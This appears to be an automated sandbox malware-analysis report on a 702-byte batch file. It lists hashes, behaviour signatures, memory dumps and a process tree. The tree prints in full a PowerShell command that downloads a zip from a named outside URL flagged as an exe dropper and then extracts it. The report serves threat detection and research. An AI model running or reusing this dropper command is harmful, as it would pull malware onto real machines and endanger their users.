1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1559s
max time network
1564s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14-10-2023 01:32

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General

Target

tesy - Copy (12).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2956	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2956	powershell.exe
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2976	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1956 wrote to memory of 2956	1956	cmd.exe	18
PID 1956 wrote to memory of 2956	1956	cmd.exe	18
PID 1956 wrote to memory of 2956	1956	cmd.exe	18
PID 1956 wrote to memory of 2976	1956	cmd.exe	30
PID 1956 wrote to memory of 2976	1956	cmd.exe	30
PID 1956 wrote to memory of 2976	1956	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (12).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2976

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
60794f7691c0eedf133eea2c8c4cee73

SHA1
9f5e6928194e1901081f9021f5db9142301d0594

SHA256
d0d7a72b5ae428bee2d674965823f75765c43fc04c2ce9002d9c4bc93fdccdbb

SHA512
37556a68495e3f3d86b469a6b7912f2328fd346245cbd5dfa9bc50a6ebddb01a2b00a898d50cfe0c6142f42c4750449b6ee41157eeab247b3cff1c9fdd00b287

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XENAWC4LBCQCTPRORLPI.temp

Filesize
7KB

MD5
60794f7691c0eedf133eea2c8c4cee73

SHA1
9f5e6928194e1901081f9021f5db9142301d0594

SHA256
d0d7a72b5ae428bee2d674965823f75765c43fc04c2ce9002d9c4bc93fdccdbb

SHA512
37556a68495e3f3d86b469a6b7912f2328fd346245cbd5dfa9bc50a6ebddb01a2b00a898d50cfe0c6142f42c4750449b6ee41157eeab247b3cff1c9fdd00b287

Download Submit
memory/2956-8-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2956-7-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2956-9-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2956-4-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2956-11-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2956-10-0x0000000002690000-0x0000000002710000-memory.dmp

Filesize
512KB

Download
memory/2956-13-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2956-6-0x000007FEF6110000-0x000007FEF6AAD000-memory.dmp

Filesize
9.6MB

Download
memory/2956-5-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2976-19-0x000000001B090000-0x000000001B372000-memory.dmp

Filesize
2.9MB

Download
memory/2976-21-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2976-20-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2976-22-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2976-23-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2976-24-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2976-25-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download
memory/2976-26-0x0000000002560000-0x00000000025E0000-memory.dmp

Filesize
512KB

Download
memory/2976-27-0x000007FEF5770000-0x000007FEF610D000-memory.dmp

Filesize
9.6MB

Download